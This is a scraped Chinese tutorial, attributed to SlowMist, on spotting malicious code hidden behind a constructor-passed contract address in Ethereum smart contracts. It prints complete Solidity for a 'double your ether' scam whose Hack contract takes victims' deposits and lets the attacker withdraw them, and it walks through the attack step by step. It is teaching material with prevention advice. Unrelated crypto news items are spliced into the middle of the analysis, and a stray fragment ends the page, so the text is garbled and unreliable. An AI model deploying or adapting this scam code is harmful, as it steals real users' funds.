MAKE:智能合约安全审计入门篇 —— 移花接木

概述

上期我们了解了利用 tx.origin 进行钓鱼的攻击手法,本期我们来带大家了解一下如何识别在合约中隐藏的恶意代码。

前置知识

大家还记得之前几期部署攻击合约时我们会传入目标合约的地址,在攻击合约中就可以调用目标合约中的函数吗,有些攻击者会利用这一点受害者。比如部署一个 A 合约并告诉受害者我们会在部署 A 合约的构造函数中传入 B 合约的地址并将 B 合约开源,其实我们会在部署 A 合约时传入 C 合约的地址,如果受害者完全信任我们没有检查部署 A 合约的那笔交易,我们就完美的将恶意代码隐藏在了 C 合约中。我们可以从下图来理解这个逻辑:

用户以为的调用路径:

部署合约 A 传入合约 B 地址,这样调用路径为正常路径。

实际的调用路径:

部署合约 A 传入合约 C 地址,这样调用路径为非正常路径。

下面我们使用一个简单的例子来分析这个局:

恶意代码

// SPDX-License-Identifier: MITpragma solidity ^0.8.13;contract MoneyMaker {    Vault vault;    constructor(address _vault) {        vault = Vault(payable(_vault));    }    function makeMoney(address recipient) public payable {        require(msg.value >= 1, "You are so poor!");        uint256 amount = msg.value * 2;        (bool success, ) = address(vault).call{value: msg.value, gas: 2300}("");        require(success, "Send failed");        vault.transfer(recipient, amount);    }}contract Vault {    address private maker;    address private owner;    uint256 transferGasLimit;    constructor() payable {        owner = msg.sender;        transferGasLimit = 2300;    }    modifier OnlyMaker() {        require(msg.sender == maker, "Not MoneyMaker contract!");        _;    }    modifier OnlyOwner() {        require(msg.sender == owner, "Not owner!");        _;    }    function setMacker(address _maker) public OnlyOwner {        maker = _maker;    }    function transfer(address recipient, uint256 amount) external OnlyMaker {        require(amount <= address(this).balance, "Game Over~");        (bool success, ) = recipient.call{value: amount, gas: transferGasLimit}(            ""        );        require(success, "Send failed");    }    function withrow() public OnlyOwner {        (bool success, ) = owner.call{            value: address(this).balance,            gas: transferGasLimit        }("");        require(success, "Send failed");    }    receive() external payable {}    fallback() external payable {}}// This code is hidden in a separate filecontract Hack {    event taunt(string message);    address private evil;    constructor(address _evil) {        evil = _evil;    }    modifier OnlyEvil() {        require(msg.sender == evil, "What are you doing?");        _;    }    function transfer() public payable {        emit taunt("Haha, your ether is mine!");    }    function withrow() public OnlyEvil {        (bool success, ) = evil.call{value: address(this).balance, gas: 2300}(            ""        );        require(success, "Send failed");    }    receive() external payable {}    fallback() external payable {}}局分析

Thirdweb向在熊市期间部署过智能合约的开发者们空投NFT:4月18日消息,Web3开发者平台Thirdweb宣布将向在过去18个月的熊市期间部署过智能合约的开发者们空投NFT奖励。

根据细则,空投要求开发者们在2022年1月1日至2023年4月之间于Ethereum、Polygon、Avalanche、Arbitrum、Optimism等五条链上部署过智能合约。

所有NFT内都会有一个随机分配的奖品,包括1 ETH、2023年共识大会门票、Crypto Packaged Goods创始NFT、1000 AWS积分等等。[2023/4/18 14:11:12]

可以看到,上述代码中存在三个合约,我们先结合前置知识中的 A, B, C 三个角色来区分三个合约分别代表什么角色:

MoneyMaker 合约代表 A 合约;

Vault 合约代表 B 合约;

Hack 合约代表 C 合约。

所以用户以为的调用路径为:

MoneyMaker -> Vault。

而实际的调用路径为:

MoneyMaker -> Hack。

下面我们来看看攻击者如何完成局的:

1. Evil 部署 Vault(B) 合约并在合约中留存 100 ETH 资金,在链上将 Vault(B) 合约开源;

2. Evil 部署 Hack(C) 恶意合约;

Astar Network将于4月6日在主网推出第二代智能合约:金色财经报道,多链去中心化应用程序协议 Astar Network 将于 4 月 6 日在其主网上推出支持以太坊虚拟机 (EVM) 和 WebAssembly 虚拟机 (WASM VM) 的智能合约的第二次迭代。[2023/4/3 13:42:27]

3. Evil 放出消息说他将会部署一个开源的赚钱 MoneyMaker(A) 合约,部署时会将 Vault(B) 合约地址传入且会调用 Vault.setMacker() 将 maker 角色设置为 MoneyMaker 合约地址,任何人调用 MoneyMaker.makeMoney() 向合约中打入不少于一个以太都会得到双倍以太的回报;

4. Bob 收到消息,了解到 MoneyMaker 合约的存在,他看了 MoneyMaker(A) 和 Vault(B) 合约的代码并检查了 Vault(B) 合约中的余额发现逻辑确实如 Evil 说的那样,他在没有检查 MoneyMaker(A) 部署交易的情况下就相信了 Evil;

5. Bob 调用 MoneyMaker.makeMoney() 向合约中打入自己全部身家 20 ETH,在他满怀期待等着收到 Vault(B) 打来的 40 ETH 时等来的却是一句 "Haha, your ether is mine!"。

咋回事呢?其实这个局非常简单但是很常见。Evil 在部署 MoneyMaker 合约时传入的并不是 Vault 合约的地址,而是传入了 Hack 合约的地址。所以当 Bob 调用 MoneyMaker.makeMoney() 时并不会像他想像中的那样 MoneyMaker.makeMoney() 去调用 Vault.transfer() 回打给他双倍的以太,而是调用了 Hack.transfer() 抛出了一个事件:"Haha, your ether is mine!"。最后 Evil 调用 Vault.withrow() 将 Vault 合约中的 100 ETH 转出,并通过 Hack.withrow() 将 Bob 转入的 20 ETH 转出。

zkSync发布新的支持智能合约验证的插件:金色财经报道,基于ZK Rollup的以太坊二层网络zkSync宣布发布了一个新的支持智能合约验证的插件。hardhat-zksync-verify插件允许开发人员从终端和编程方式验证部署在 zkSync 2.0 上的智能合约。[2023/1/4 9:50:49]

预防建议

以太坊黑暗森林中你能相信的只有自己,不要相信任何人精彩的话术,交易记录不会造假,只有自己验证了对应的那笔交易后才能相信对方说的话是对的。

慢雾科技

个人专栏

阅读更多

金色荐读

金色财经 善欧巴

迪新财讯

Chainlink预言机

区块律动BlockBeats

白话区块链

金色早8点

Odaily星球日报

MarsBit

Arcane Labs

Venus将更新其清算智能合约界面:1月23日消息,据官方消息,Venus将根据Venus V3代币经济学更新其清算智能合约界面,以适应清算激励的变化,升级将分两阶段进行。目前10%的清算激励将分为两部分:一半的清算激励和被没收的抵押品将被发送至清算人。因此,清算人将以抵押品vToken的形式获得清算后借款金额的105%,而不是目前的110%。清算激励的另一半(清算后借款金额的5%)将被发送至Venus财库。

Venus将提供一个新的界面来解释这一变化:清算人合约。Venus将有30天的宽限期,在此期间,旧界面和新界面都将可用。宽限期过后,Comptroller合约将被升级,以阻止来自其他发送者的清算借款请求。[2022/1/23 9:07:50]

本体官方声明:本体不受NEP-5智能合约漏洞影响:本体官网发布声明称,对于NEP-5智能合约出现的存储注入漏洞问题,本体团队第一时间进行了调查分析,得出结论如下:1.ONT持有人的资金和财产是安全的,不会受到攻击的影响;2. 本体团队将继续跟进该漏洞的进展,与相关组织保持紧密沟通和技术配合,以保障ONT持有人的账户安全。[2018/5/19]

郑重声明: 本文版权归原作者所有, 转载文章仅为传播更多信息之目的, 如作者信息标记有误, 请第一时间联系我们修改或删除, 多谢。

链链资讯

FilBRC:BRC20 背后:来自 BSV 社区的“复仇”

在今年 2 月中旬,我们专门制作了一期关于 Ordinals 以及 BTC NFT 的视频。 在寻找相关资料的过程中,我们发现一个有意思的现象,那就是对 Ordinals 最上头的其实是一群原.

[0:0ms0-2:810ms